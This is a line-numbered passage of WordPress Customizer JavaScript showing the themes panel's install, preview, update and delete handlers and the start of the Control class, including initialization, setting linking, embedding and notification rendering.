3079 attachEvents: function() {
3080 var panel = this;
3081
3082 // Attach regular panel events.
3083 api.Panel.prototype.attachEvents.apply( panel );
3084
3085 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3086 if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
3087 panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
3088 message: api.l10n.themeInstallUnavailable,
3089 type: 'info',
3090 dismissible: true
3091 } ) );
3092 }
3093
3094 function toggleDisabledNotifications() {
3095 if ( panel.canSwitchTheme() ) {
3096 panel.notifications.remove( 'theme_switch_unavailable' );
3097 } else {
3098 panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
3099 message: api.l10n.themePreviewUnavailable,
3100 type: 'warning'
3101 } ) );
3102 }
3103 }
3104 toggleDisabledNotifications();
3105 api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
3106 api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );
3107
3108 // Collapse panel to customize the current theme.
3109 panel.contentContainer.on( 'click', '.customize-theme', function() {
3110 panel.collapse();
3111 });
3112
3113 // Toggle between filtering and browsing themes on mobile.
3114 panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
3115 $( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
3116 });
3117
3118 // Install (and maybe preview) a theme.
3119 panel.contentContainer.on( 'click', '.theme-install', function( event ) {
3120 panel.installTheme( event );
3121 });
3122
3123 // Update a theme. Theme cards have the class, the details modal has the id.
3124 panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {
3125
3126 // #update-theme is a link.
3127 event.preventDefault();
3128 event.stopPropagation();
3129
3130 panel.updateTheme( event );
3131 });
3132
3133 // Delete a theme.
3134 panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
3135 panel.deleteTheme( event );
3136 });
3137
3138 _.bindAll( panel, 'installTheme', 'updateTheme' );
3139 },
3140
3141 /**
3142 * Update UI to reflect expanded state
3143 *
3144 * @since 4.9.0
3145 *
3146 * @param {boolean} expanded - Expanded state.
3147 * @param {Object} args - Args.
3148 * @param {boolean} args.unchanged - Whether or not the state changed.
3149 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
3150 * @return {void}
3151 */
3152 onChangeExpanded: function( expanded, args ) {
3153 var panel = this, overlay, sections, hasExpandedSection = false;
3154
3155 // Expand/collapse the panel normally.
3156 api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );
3157
3158 // Immediately call the complete callback if there were no changes.
3159 if ( args.unchanged ) {
3160 if ( args.completeCallback ) {
3161 args.completeCallback();
3162 }
3163 return;
3164 }
3165
3166 overlay = panel.headContainer.closest( '.wp-full-overlay' );
3167
3168 if ( expanded ) {
3169 overlay
3170 .addClass( 'in-themes-panel' )
3171 .delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );
3172
3173 _.delay( function() {
3174 overlay.addClass( 'themes-panel-expanded' );
3175 }, 200 );
3176
3177 // Automatically open the first section (except on small screens), if one isn't already expanded.
3178 if ( 600 < window.innerWidth ) {
3179 sections = panel.sections();
3180 _.each( sections, function( section ) {
3181 if ( section.expanded() ) {
3182 hasExpandedSection = true;
3183 }
3184 } );
3185 if ( ! hasExpandedSection && sections.length > 0 ) {
3186 sections[0].expand();
3187 }
3188 }
3189 } else {
3190 overlay
3191 .removeClass( 'in-themes-panel themes-panel-expanded' )
3192 .find( '.customize-themes-full-container' ).removeClass( 'animate' );
3193 }
3194 },
3195
3196 /**
3197 * Install a theme via wp.updates.
3198 *
3199 * @since 4.9.0
3200 *
3201 * @param {jQuery.Event} event - Event.
3202 * @return {jQuery.promise} Promise.
3203 */
3204 installTheme: function( event ) {
3205 var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
3206 preview = $( event.target ).hasClass( 'preview' );
3207
3208 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3209 if ( api.settings.theme._filesystemCredentialsNeeded ) {
3210 deferred.reject({
3211 errorCode: 'theme_install_unavailable'
3212 });
3213 return deferred.promise();
3214 }
3215
3216 // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
3217 if ( ! panel.canSwitchTheme( slug ) ) {
3218 deferred.reject({
3219 errorCode: 'theme_switch_unavailable'
3220 });
3221 return deferred.promise();
3222 }
3223
3224 // Theme is already being installed.
3225 if ( _.contains( panel.installingThemes, slug ) ) {
3226 deferred.reject({
3227 errorCode: 'theme_already_installing'
3228 });
3229 return deferred.promise();
3230 }
3231
3232 wp.updates.maybeRequestFilesystemCredentials( event );
3233
3234 onInstallSuccess = function( response ) {
3235 var theme = false, themeControl;
3236 if ( preview ) {
3237 api.notifications.remove( 'theme_installing' );
3238
3239 panel.loadThemePreview( slug );
3240
3241 } else {
3242 api.control.each( function( control ) {
3243 if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
3244 theme = control.params.theme; // Used below to add theme control.
3245 control.rerenderAsInstalled( true );
3246 }
3247 });
3248
3249 // Don't add the same theme more than once.
3250 if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
3251 deferred.resolve( response );
3252 return;
3253 }
3254
3255 // Add theme control to installed section.
3256 theme.type = 'installed';
3257 themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
3258 type: 'theme',
3259 section: 'installed_themes',
3260 theme: theme,
3261 priority: 0 // Add all newly-installed themes to the top.
3262 } );
3263
3264 api.control.add( themeControl );
3265 api.control( themeControl.id ).container.trigger( 'render-screenshot' );
3266
3267 // Close the details modal if it's open to the installed theme.
3268 api.section.each( function( section ) {
3269 if ( 'themes' === section.params.type ) {
3270 if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
3271 section.closeDetails();
3272 }
3273 }
3274 });
3275 }
3276 deferred.resolve( response );
3277 };
3278
3279 panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
3280 request = wp.updates.installTheme( {
3281 slug: slug
3282 } );
3283
3284 // Also preview the theme as the event is triggered on Install & Preview.
3285 if ( preview ) {
3286 api.notifications.add( new api.OverlayNotification( 'theme_installing', {
3287 message: api.l10n.themeDownloading,
3288 type: 'info',
3289 loading: true
3290 } ) );
3291 }
3292
3293 request.done( onInstallSuccess );
3294 request.fail( function() {
3295 api.notifications.remove( 'theme_installing' );
3296 } );
3297
3298 return deferred.promise();
3299 },
3300
3301 /**
3302 * Load theme preview.
3303 *
3304 * @since 4.9.0
3305 *
3306 * @param {string} themeId Theme ID.
3307 * @return {jQuery.promise} Promise.
3308 */
3309 loadThemePreview: function( themeId ) {
3310 var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;
3311
3312 // Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
3313 if ( ! panel.canSwitchTheme( themeId ) ) {
3314 deferred.reject({
3315 errorCode: 'theme_switch_unavailable'
3316 });
3317 return deferred.promise();
3318 }
3319
3320 urlParser = document.createElement( 'a' );
3321 urlParser.href = location.href;
3322 queryParams = _.extend(
3323 api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
3324 {
3325 theme: themeId,
3326 changeset_uuid: api.settings.changeset.uuid,
3327 'return': api.settings.url['return']
3328 }
3329 );
3330
3331 // Include autosaved param to load autosave revision without prompting user to restore it.
3332 if ( ! api.state( 'saved' ).get() ) {
3333 queryParams.customize_autosaved = 'on';
3334 }
3335
3336 urlParser.search = $.param( queryParams );
3337
3338 // Update loading message. Everything else is handled by reloading the page.
3339 api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
3340 message: api.l10n.themePreviewWait,
3341 type: 'info',
3342 loading: true
3343 } ) );
3344
3345 onceProcessingComplete = function() {
3346 var request;
3347 if ( api.state( 'processing' ).get() > 0 ) {
3348 return;
3349 }
3350
3351 api.state( 'processing' ).unbind( onceProcessingComplete );
3352
3353 request = api.requestChangesetUpdate( {}, { autosave: true } );
3354 request.done( function() {
3355 deferred.resolve();
3356 $( window ).off( 'beforeunload.customize-confirm' );
3357 location.replace( urlParser.href );
3358 } );
3359 request.fail( function() {
3360
3361 // @todo Show notification regarding failure.
3362 api.notifications.remove( 'theme_previewing' );
3363
3364 deferred.reject();
3365 } );
3366 };
3367
3368 if ( 0 === api.state( 'processing' ).get() ) {
3369 onceProcessingComplete();
3370 } else {
3371 api.state( 'processing' ).bind( onceProcessingComplete );
3372 }
3373
3374 return deferred.promise();
3375 },
3376
3377 /**
3378 * Update a theme via wp.updates.
3379 *
3380 * @since 4.9.0
3381 *
3382 * @param {jQuery.Event} event - Event.
3383 * @return {void}
3384 */
3385 updateTheme: function( event ) {
3386 wp.updates.maybeRequestFilesystemCredentials( event );
3387
3388 $( document ).one( 'wp-theme-update-success', function( e, response ) {
3389
3390 // Rerender the control to reflect the update.
3391 api.control.each( function( control ) {
3392 if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
3393 control.params.theme.hasUpdate = false;
3394 control.params.theme.version = response.newVersion;
3395 setTimeout( function() {
3396 control.rerenderAsInstalled( true );
3397 }, 2000 );
3398 }
3399 });
3400 } );
3401
3402 wp.updates.updateTheme( {
3403 slug: $( event.target ).closest( '.notice' ).data( 'slug' )
3404 } );
3405 },
3406
3407 /**
3408 * Delete a theme via wp.updates.
3409 *
3410 * @since 4.9.0
3411 *
3412 * @param {jQuery.Event} event - Event.
3413 * @return {void}
3414 */
3415 deleteTheme: function( event ) {
3416 var theme, section;
3417 theme = $( event.target ).data( 'slug' );
3418 section = api.section( 'installed_themes' );
3419
3420 event.preventDefault();
3421
3422 // Temporary since supplying SFTP credentials does not work yet. See #42184.
3423 if ( api.settings.theme._filesystemCredentialsNeeded ) {
3424 return;
3425 }
3426
3427 // Confirmation dialog for deleting a theme.
3428 if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
3429 return;
3430 }
3431
3432 wp.updates.maybeRequestFilesystemCredentials( event );
3433
3434 $( document ).one( 'wp-theme-delete-success', function() {
3435 var control = api.control( 'installed_theme_' + theme );
3436
3437 // Remove theme control.
3438 control.container.remove();
3439 api.control.remove( control.id );
3440
3441 // Update installed count.
3442 section.loaded = section.loaded - 1;
3443 section.updateCount();
3444
3445 // Rerender any other theme controls as uninstalled.
3446 api.control.each( function( control ) {
3447 if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
3448 control.rerenderAsInstalled( false );
3449 }
3450 });
3451 } );
3452
3453 wp.updates.deleteTheme( {
3454 slug: theme
3455 } );
3456
3457 // Close modal and focus the section.
3458 section.closeDetails();
3459 section.focus();
3460 }
3461 });
3462
3463 api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{
3464 defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
3465
3466 /**
3467 * Default params.
3468 *
3469 * @since 4.9.0
3470 * @var {object}
3471 */
3472 defaults: {
3473 label: '',
3474 description: '',
3475 active: true,
3476 priority: 10
3477 },
3478
3479 /**
3480 * A Customizer Control.
3481 *
3482 * A control provides a UI element that allows a user to modify a Customizer Setting.
3483 *
3484 * @see PHP class WP_Customize_Control.
3485 *
3486 * @constructs wp.customize.Control
3487 * @augments wp.customize.Class
3488 *
3489 * @borrows wp.customize~focus as this#focus
3490 * @borrows wp.customize~Container#activate as this#activate
3491 * @borrows wp.customize~Container#deactivate as this#deactivate
3492 * @borrows wp.customize~Container#_toggleActive as this#_toggleActive
3493 *
3494 * @param {string} id - Unique identifier for the control instance.
3495 * @param {Object} options - Options hash for the control instance.
3496 * @param {Object} options.type - Type of control (e.g. text, radio, dropdown-pages, etc.)
3497 * @param {string} [options.content] - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
3498 * @param {string} [options.templateId] - Template ID for control's content.
3499 * @param {string} [options.priority=10] - Order of priority to show the control within the section.
3500 * @param {string} [options.active=true] - Whether the control is active.
3501 * @param {string} options.section - The ID of the section the control belongs to.
3502 * @param {mixed} [options.setting] - The ID of the main setting or an instance of this setting.
3503 * @param {mixed} options.settings - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
3504 * @param {mixed} options.settings.default - The ID of the setting the control relates to.
3505 * @param {string} options.settings.data - @todo Is this used?
3506 * @param {string} options.label - Label.
3507 * @param {string} options.description - Description.
3508 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
3509 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
3510 * @return {void}
3511 */
3512 initialize: function( id, options ) {
3513 var control = this, deferredSettingIds = [], settings, gatherSettings;
3514
3515 control.params = _.extend(
3516 {},
3517 control.defaults,
3518 control.params || {}, // In case subclass already defines.
3519 options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
3520 );
3521
3522 if ( ! api.Control.instanceCounter ) {
3523 api.Control.instanceCounter = 0;
3524 }
3525 api.Control.instanceCounter++;
3526 if ( ! control.params.instanceNumber ) {
3527 control.params.instanceNumber = api.Control.instanceCounter;
3528 }
3529
3530 // Look up the type if one was not supplied.
3531 if ( ! control.params.type ) {
3532 _.find( api.controlConstructor, function( Constructor, type ) {
3533 if ( Constructor === control.constructor ) {
3534 control.params.type = type;
3535 return true;
3536 }
3537 return false;
3538 } );
3539 }
3540
3541 if ( ! control.params.content ) {
3542 control.params.content = $( '<li></li>', {
3543 id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
3544 'class': 'customize-control customize-control-' + control.params.type
3545 } );
3546 }
3547
3548 control.id = id;
3549 control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
3550 if ( control.params.content ) {
3551 control.container = $( control.params.content );
3552 } else {
3553 control.container = $( control.selector ); // Likely dead, per above. See #28709.
3554 }
3555
3556 if ( control.params.templateId ) {
3557 control.templateSelector = control.params.templateId;
3558 } else {
3559 control.templateSelector = 'customize-control-' + control.params.type + '-content';
3560 }
3561
3562 control.deferred = _.extend( control.deferred || {}, {
3563 embedded: new $.Deferred()
3564 } );
3565 control.section = new api.Value();
3566 control.priority = new api.Value();
3567 control.active = new api.Value();
3568 control.activeArgumentsQueue = [];
3569 control.notifications = new api.Notifications({
3570 alt: control.altNotice
3571 });
3572
3573 control.elements = [];
3574
3575 control.active.bind( function ( active ) {
3576 var args = control.activeArgumentsQueue.shift();
3577 args = $.extend( {}, control.defaultActiveArguments, args );
3578 control.onChangeActive( active, args );
3579 } );
3580
3581 control.section.set( control.params.section );
3582 control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
3583 control.active.set( control.params.active );
3584
3585 api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );
3586
3587 control.settings = {};
3588
3589 settings = {};
3590 if ( control.params.setting ) {
3591 settings['default'] = control.params.setting;
3592 }
3593 _.extend( settings, control.params.settings );
3594
3595 // Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
3596 _.each( settings, function( value, key ) {
3597 var setting;
3598 if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
3599 control.settings[ key ] = value;
3600 } else if ( _.isString( value ) ) {
3601 setting = api( value );
3602 if ( setting ) {
3603 control.settings[ key ] = setting;
3604 } else {
3605 deferredSettingIds.push( value );
3606 }
3607 }
3608 } );
3609
3610 gatherSettings = function() {
3611
3612 // Fill-in all resolved settings.
3613 _.each( settings, function ( settingId, key ) {
3614 if ( ! control.settings[ key ] && _.isString( settingId ) ) {
3615 control.settings[ key ] = api( settingId );
3616 }
3617 } );
3618
3619 // Make sure settings passed as array gets associated with default.
3620 if ( control.settings[0] && ! control.settings['default'] ) {
3621 control.settings['default'] = control.settings[0];
3622 }
3623
3624 // Identify the main setting.
3625 control.setting = control.settings['default'] || null;
3626
3627 control.linkElements(); // Link initial elements present in server-rendered content.
3628 control.embed();
3629 };
3630
3631 if ( 0 === deferredSettingIds.length ) {
3632 gatherSettings();
3633 } else {
3634 api.apply( api, deferredSettingIds.concat( gatherSettings ) );
3635 }
3636
3637 // After the control is embedded on the page, invoke the "ready" method.
3638 control.deferred.embedded.done( function () {
3639 control.linkElements(); // Link any additional elements after template is rendered by renderContent().
3640 control.setupNotifications();
3641 control.ready();
3642 });
3643 },
3644
3645 /**
3646 * Link elements between settings and inputs.
3647 *
3648 * @since 4.7.0
3649 * @access public
3650 *
3651 * @return {void}
3652 */
3653 linkElements: function () {
3654 var control = this, nodes, radios, element;
3655
3656 nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
3657 radios = {};
3658
3659 nodes.each( function () {
3660 var node = $( this ), name, setting;
3661
3662 if ( node.data( 'customizeSettingLinked' ) ) {
3663 return;
3664 }
3665 node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.
3666
3667 if ( node.is( ':radio' ) ) {
3668 name = node.prop( 'name' );
3669 if ( radios[name] ) {
3670 return;
3671 }
3672
3673 radios[name] = true;
3674 node = nodes.filter( '[name="' + name + '"]' );
3675 }
3676
3677 // Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
3678 if ( node.data( 'customizeSettingLink' ) ) {
3679 setting = api( node.data( 'customizeSettingLink' ) );
3680 } else if ( node.data( 'customizeSettingKeyLink' ) ) {
3681 setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
3682 }
3683
3684 if ( setting ) {
3685 element = new api.Element( node );
3686 control.elements.push( element );
3687 element.sync( setting );
3688 element.set( setting() );
3689 }
3690 } );
3691 },
3692
3693 /**
3694 * Embed the control into the page.
3695 */
3696 embed: function () {
3697 var control = this,
3698 inject;
3699
3700 // Watch for changes to the section state.
3701 inject = function ( sectionId ) {
3702 var parentContainer;
3703 if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end.
3704 return;
3705 }
3706 // Wait for the section to be registered.
3707 api.section( sectionId, function ( section ) {
3708 // Wait for the section to be ready/initialized.
3709 section.deferred.embedded.done( function () {
3710 parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
3711 if ( ! control.container.parent().is( parentContainer ) ) {
3712 parentContainer.append( control.container );
3713 }
3714 control.renderContent();
3715 control.deferred.embedded.resolve();
3716 });
3717 });
3718 };
3719 control.section.bind( inject );
3720 inject( control.section.get() );
3721 },
3722
3723 /**
3724 * Triggered when the control's markup has been injected into the DOM.
3725 *
3726 * @return {void}
3727 */
3728 ready: function() {
3729 var control = this, newItem;
3730 if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
3731 newItem = control.container.find( '.new-content-item-wrapper' );
3732 newItem.hide(); // Hide in JS to preserve flex display when showing.
3733 control.container.on( 'click', '.add-new-toggle', function( e ) {
3734 $( e.currentTarget ).slideUp( 180 );
3735 newItem.slideDown( 180 );
3736 newItem.find( '.create-item-input' ).focus();
3737 });
3738 control.container.on( 'click', '.add-content', function() {
3739 control.addNewPage();
3740 });
3741 control.container.on( 'keydown', '.create-item-input', function( e ) {
3742 if ( 13 === e.which ) { // Enter.
3743 control.addNewPage();
3744 }
3745 });
3746 }
3747 },
3748
3749 /**
3750 * Get the element inside of a control's container that contains the validation error message.
3751 *
3752 * Control subclasses may override this to return the proper container to render notifications into.
3753 * Injects the notification container for existing controls that lack the necessary container,
3754 * including special handling for nav menu items and widgets.
3755 *
3756 * @since 4.6.0
3757 * @return {jQuery} Setting validation message element.
3758 */
3759 getNotificationsContainerElement: function() {
3760 var control = this, controlTitle, notificationsContainer;
3761
3762 notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
3763 if ( notificationsContainer.length ) {
3764 return notificationsContainer;
3765 }
3766
3767 notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );
3768
3769 if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
3770 control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
3771 } else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
3772 control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
3773 } else {
3774 controlTitle = control.container.find( '.customize-control-title' );
3775 if ( controlTitle.length ) {
3776 controlTitle.after( notificationsContainer );
3777 } else {
3778 control.container.prepend( notificationsContainer );
3779 }
3780 }
3781 return notificationsContainer;
3782 },
3783
3784 /**
3785 * Set up notifications.
3786 *
3787 * @since 4.9.0
3788 * @return {void}
3789 */
3790 setupNotifications: function() {
3791 var control = this, renderNotificationsIfVisible, onSectionAssigned;
3792
3793 // Add setting notifications to the control notification.
3794 _.each( control.settings, function( setting ) {
3795 if ( ! setting.notifications ) {
3796 return;
3797 }
3798 setting.notifications.bind( 'add', function( settingNotification ) {
3799 var params = _.extend(
3800 {},
3801 settingNotification,
3802 {
3803 setting: setting.id
3804 }
3805 );
3806 control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
3807 } );
3808 setting.notifications.bind( 'remove', function( settingNotification ) {
3809 control.notifications.remove( setting.id + ':' + settingNotification.code );
3810 } );
3811 } );
3812
3813 renderNotificationsIfVisible = function() {
3814 var sectionId = control.section();
3815 if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
3816 control.notifications.render();
3817 }
3818 };
3819
3820 control.notifications.bind( 'rendered', function() {
3821 var notifications = control.notifications.get();
3822 control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
3823 control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
3824 } );
3825
3826 onSectionAssigned = function( newSectionId, oldSectionId ) {
3827 if ( oldSectionId && api.section.has( oldSectionId ) ) {
3828 api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
3829 }
3830 if ( newSectionId ) {
3831 api.section( newSectionId, function( section ) {
3832 section.expanded.bind( renderNotificationsIfVisible );
3833 renderNotificationsIfVisible();
3834 });
3835 }
3836 };
3837
3838 control.section.bind( onSectionAssigned );
3839 onSectionAssigned( control.section.get() );
3840 control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
3841 },
3842
3843 /**
3844 * Render notifications.
3845 *
3846 * Renders the `control.notifications` into the control's container.
3847 * Control subclasses may override this method to do their own handling
3848 * of rendering notifications.
3849 *
3850 * @deprecated in favor of `control.notifications.render()`
3851 * @since 4.6.0
3852 * @this {wp.customize.Control}
3853 */
3854 renderNotifications: function() {
3855 var control = this, container, notifications, hasError = false;
3856
3857 if ( 'undefined' !== typeof console && console.warn ) {
3858 console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method.' );
3859 }
3860
3861 container = control.getNotificationsContainerElement();
3862 if ( ! container || ! container.length ) {
3863 return;
3864 }
3865 notifications = [];
3866 control.notifications.each( function( notification ) {
3867 notifications.push( notification );
3868 if ( 'error' === notification.type ) {
3869 hasError = true;
3870 }
3871 } );
3872
3873 if ( 0 === notifications.length ) {
3874 container.stop().slideUp( 'fast' );
3875 } else {
3876 container.stop().slideDown( 'fast', null, function() {
3877 $( this ).css( 'height', 'auto' );
3878 } );
3879 }
3880
3881 if ( ! control.notificationsTemplate ) {
3882 control.notificationsTemplate = wp.template( 'customize-control-notifications' );
3883 }
3884
3885 control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
3886 control.container.toggleClass( 'has-error', hasError );
3887 container.empty().append(
3888 control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim()
3889 );
3890 },
3891
3892 /**
3893 * Normal controls do not expand, so just expand its parent
3894 *
3895 * @param {Object} [params]
3896 */
3897 expand: function ( params ) {
3898 api.section( this.section() ).expand( params );
3899 },
3900
3901 /*
3902 * Documented using @borrows in the constructor.
3903 */
3904 focus: focus,
3905
3906 /**
3907 * Update UI in response to a change in the control's active state.
3908 * This does not change the active state, it merely handles the behavior
3909 * for when it does change.
3910 *
3911 * @since 4.1.0
3912 *
3913 * @param {boolean} active
3914 * @param {Object} args
3915 * @param {number} args.duration
3916 * @param {Function} args.completeCallback
3917 */
3918 onChangeActive: function ( active, args ) {
3919 if ( args.unchanged ) {
3920 if ( args.completeCallback ) {
3921 args.completeCallback();
3922 }
3923 return;
3924 }
3925
3926 if ( ! $.contains( document, this.container[0] ) ) {
3927 // jQuery.fn.slideUp is not hiding an element if it is not in the DOM.
3928 this.container.toggle( active );
3929 if ( args.completeCallback ) {
3930 args.completeCallback();
3931 }
3932 } else if ( active ) {
3933 this.container.slideDown( args.duration, args.completeCallback );
3934 } else {
3935 this.container.slideUp( args.duration, args.completeCallback );
3936 }
3937 },
3938
3939 /**
3940 * @deprecated 4.1.0 Use this.onChangeActive() instead.
3941 */
3942 toggle: function ( active ) {
3943 return this.onChangeActive( active, this.defaultActiveArguments );
3944 },
3945
3946 /*
3947 * Documented using @borrows in the constructor
3948 */
3949 activate: Container.prototype.activate,
3950
3951 /*
3952 * Documented using @borrows in the constructor
3953 */
3954 deactivate: Container.prototype.deactivate,
3955
3956 /*
3957 * Documented using @borrows in the constructor
3958 */
3959 _toggleActive: Container.prototype._toggleActive,
3960
3961 // @todo This function appears to be dead code and can be removed.
3962 dropdownInit: function() {
3963 var control = this,
3964 statuses = this.container.find('.dropdown-status'),
3965 params = this.params,
3966 toggleFreeze = false,
3967 update = function( to ) {
3968 if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
3969 statuses.html( params.statuses[ to ] ).show();
3970 } else {
3971 statuses.hide();
3972 }
3973 };
3974
3975 // Support the .dropdown class to open/close complex elements.
3976 this.container.on( 'click keydown', '.dropdown', function( event ) {
3977 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
3978 return;
3979 }
3980
3981 event.preventDefault();
3982
3983 if ( ! toggleFreeze ) {
3984 control.container.toggleClass( 'open' );
3985 }
3986
3987 if ( control.container.hasClass( 'open' ) ) {
3988 control.container.parent().parent().find( 'li.library-selected' ).focus();
3989 }
3990
3991 // Don't want to fire focus and click at same time.
3992 toggleFreeze = true;
3993 setTimeout(function () {
3994 toggleFreeze = false;
3995 }, 400);
3996 });
3997
3998 this.setting.bind( update );
3999 update( this.setting() );
4000 },
4001
4002 /**
4003 * Render the control from its JS template, if it exists.
4004 *
4005 * The control's container must already exist in the DOM.
4006 *
4007 * @since 4.1.0
4008 */
4009 renderContent: function () {
4010 var control = this, template, standardTypes, templateId, sectionId;
4011
4012 standardTypes = [
4013 'button',
4014 'checkbox',
4015 'date',
4016 'datetime-local',
4017 'email',
4018 'month',
4019 'number',
4020 'password',
4021 'radio',
4022 'range',
4023 'search',
4024 'select',
4025 'tel',
4026 'time',
4027 'text',
4028 'textarea',
4029 'week',
4030 'url'
4031 ];
4032
4033 templateId = control.templateSelector;
4034
4035 // Use default content template when a standard HTML type is used,
4036 // there isn't a more specific template existing, and the control container is empty.
4037 if ( templateId === 'customize-control-' + control.params.type + '-content' &&
4038 _.contains( standardTypes, control.params.type ) &&
4039 ! document.getElementById( 'tmpl-' + templateId ) &&
4040 0 === control.container.children().length )
4041 {
4042 templateId = 'customize-control-default-content';
4043 }
4044
4045 // Replace the container element's content with the control.
4046 if ( document.getElementById( 'tmpl-' + templateId ) ) {
4047 template = wp.template( templateId );
4048 if ( template && control.container ) {
4049 control.container.html( template( control.params ) );
4050 }
4051 }
4052
4053 // Re-render notifications after content has been re-rendered.
4054 control.notifications.container = control.getNotificationsContainerElement();
4055 sectionId = control.section();
4056 if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
4057 control.notifications.render();
4058 }
4059 },
4060
4061 /**
4062 * Add a new page to a dropdown-pages control reusing menus code for this.
4063 *
4064 * @since 4.7.0
4065 * @access private
4066 *
4067 * @return {void}
4068 */
4069 addNewPage: function () {
4070 var control = this, promise, toggle, container, input, inputError, title, select;
4071
4072 if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
4073 return;
4074 }
4075
4076 toggle = control.container.find( '.add-new-toggle' );
4077 container = control.container.find( '.new-content-item-wrapper' );
4078 input = control.container.find( '.create-item-input' );
4079 inputError = control.container.find('.create-item-error');
4080 title = input.val();
4081 select = control.container.find( 'select' );
4082
4083 if ( ! title ) {
4084 container.addClass( 'form-invalid' );
4085 input.attr('aria-invalid', 'true');
4086 input.attr('aria-describedby', inputError.attr('id'));
4087 inputError.slideDown( 'fast' );
4088 wp.a11y.speak( inputError.text() );
4089 return;
4090 }
4091
4092 container.removeClass( 'form-invalid' );
4093 input.attr('aria-invalid', 'false');
4094 input.removeAttr('aria-describedby');
4095 inputError.hide();
4096 input.attr( 'disabled', 'disabled' );
4097
4098 // The menus functions add the page, publish when appropriate,
4099 // and also add the new page to the dropdown-pages controls.
4100 promise = api.Menus.insertAutoDraftPost( {
4101 post_title: title,
4102 post_type: 'page'
4103 } );
4104 promise.done( function( data ) {
4105 var availableItem, $content, itemTemplate;
4106
4107 // Prepare the new page as an available menu item.
4108 // See api.Menus.submitNew().
4109 availableItem = new api.Menus.AvailableItemModel( {
4110 'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
4111 'title': title,
4112 'type': 'post_type',
4113 'type_label': api.Menus.data.l10n.page_label,
4114 'object': 'page',
4115 'object_id': data.post_id,
4116 'url': data.url
4117 } );
4118
4119 // Add the new item to the list of available menu items.
4120 api.Menus.availableMenuItemsPanel.collection.add( availableItem );
4121 $content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
4122 itemTemplate = wp.template( 'available-menu-item' );
4123 $content.prepend( itemTemplate( availableItem.attributes ) );
4124
4125 // Focus the select control.
4126 select.focus();
4127 control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.
4128
4129 // Reset the create page form.
4130 container.slideUp( 180 );
4131 toggle.slideDown( 180 );
4132 } );
